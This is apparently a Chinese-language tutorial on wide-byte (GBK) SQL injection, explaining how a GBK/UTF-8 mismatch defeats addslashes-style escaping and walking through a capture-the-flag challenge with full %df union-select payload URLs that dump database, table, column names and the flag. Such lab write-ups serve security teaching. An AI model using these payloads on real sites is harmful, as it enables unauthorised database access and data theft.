寬字節(jié)注入詳解
文章目錄
1、涉及函數(shù)
2、原理分析
3、實戰(zhàn)
1、涉及函數(shù)
addslashes() 函數(shù)返回在預定義字符之前添加反斜杠的字符串mysql_real_escape_string() 函數(shù)轉(zhuǎn)義 SQL 語句中使用的字符串中的特殊字符mysql_escape_string() 轉(zhuǎn)義一個字符串
2、原理分析
先了解一下什么是窄、寬字節(jié)已經(jīng)常見寬字節(jié)編碼:
當某字符的大小為一個字節(jié)時,稱其字符為窄字節(jié).
當某字符的大小為兩個字節(jié)時,稱其字符為寬字節(jié).
所有英文默認占一個字節(jié),漢字占兩個字節(jié)
常見的寬字節(jié)編碼:GB2312,GBK,GB18030,BIG5,Shift_JIS等
為什么會產(chǎn)生寬字節(jié)注入,其中就涉及到編碼格式的問題了,寬字節(jié)注入主要是源于程序員設置數(shù)據(jù)庫編碼與PHP編碼設置為不同的兩個編碼格式從而導致產(chǎn)生寬字節(jié)注入
如果數(shù)據(jù)庫使用的的是GBK編碼而PHP編碼為UTF8就可能出現(xiàn)注入問題,原因是程序員為了防止SQL注入,就會調(diào)用我們上面所介紹的幾種函數(shù),將單引號或雙引號進行轉(zhuǎn)義操作,轉(zhuǎn)義無非便是在單或雙引號前加上斜杠(\)進行轉(zhuǎn)義 ,但這樣并非安全,因為數(shù)據(jù)庫使用的是寬字節(jié)編碼,兩個連在一起的字符會被當做是一個漢字,而在PHP使用的UTF8編碼則認為是兩個獨立的字符,如果我們在單或雙引號前添加一個字符,使其和斜杠(\)組合被當作一個漢字,從而保留單或雙引號,使其發(fā)揮應用的作用。但添加的字符的Ascii要大于128,兩個字符才能組合成漢字 ,因為前一個ascii碼要大于128,才到漢字的范圍 ,這一點需要注意。
3、實戰(zhàn)
南郵nctf-sql injection 3
https://chinalover.sinaapp.com/SQL-GBK/
https://chinalover.sinaapp.com/SQL-GBK/?id=1
https://chinalover.sinaapp.com/SQL-GBK/?id=1'
發(fā)現(xiàn)被轉(zhuǎn)義了
發(fā)現(xiàn)被轉(zhuǎn)義了,使用最經(jīng)典的%df
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1%23
%df與/組成了一個漢字綅
爆數(shù)據(jù)庫
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,database()%23
1
爆表名
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
1
爆字段
注意這里要將表名轉(zhuǎn)化為16進制,并在前面加上0x
ctf4—>0x63746634
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23
1
爆值
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,(select flag from ctf4)%23
1
在靶場SQL-labs32和33關(guān)也涉及到了寬字節(jié)注入
sql-labs-32關(guān)
當輸入id=1’時,被轉(zhuǎn)義了:
加上%df
后面的流程就不多說了,注意我們查詢表名和列名的時候要將其轉(zhuǎn)化為16進制,并在前面加上0x。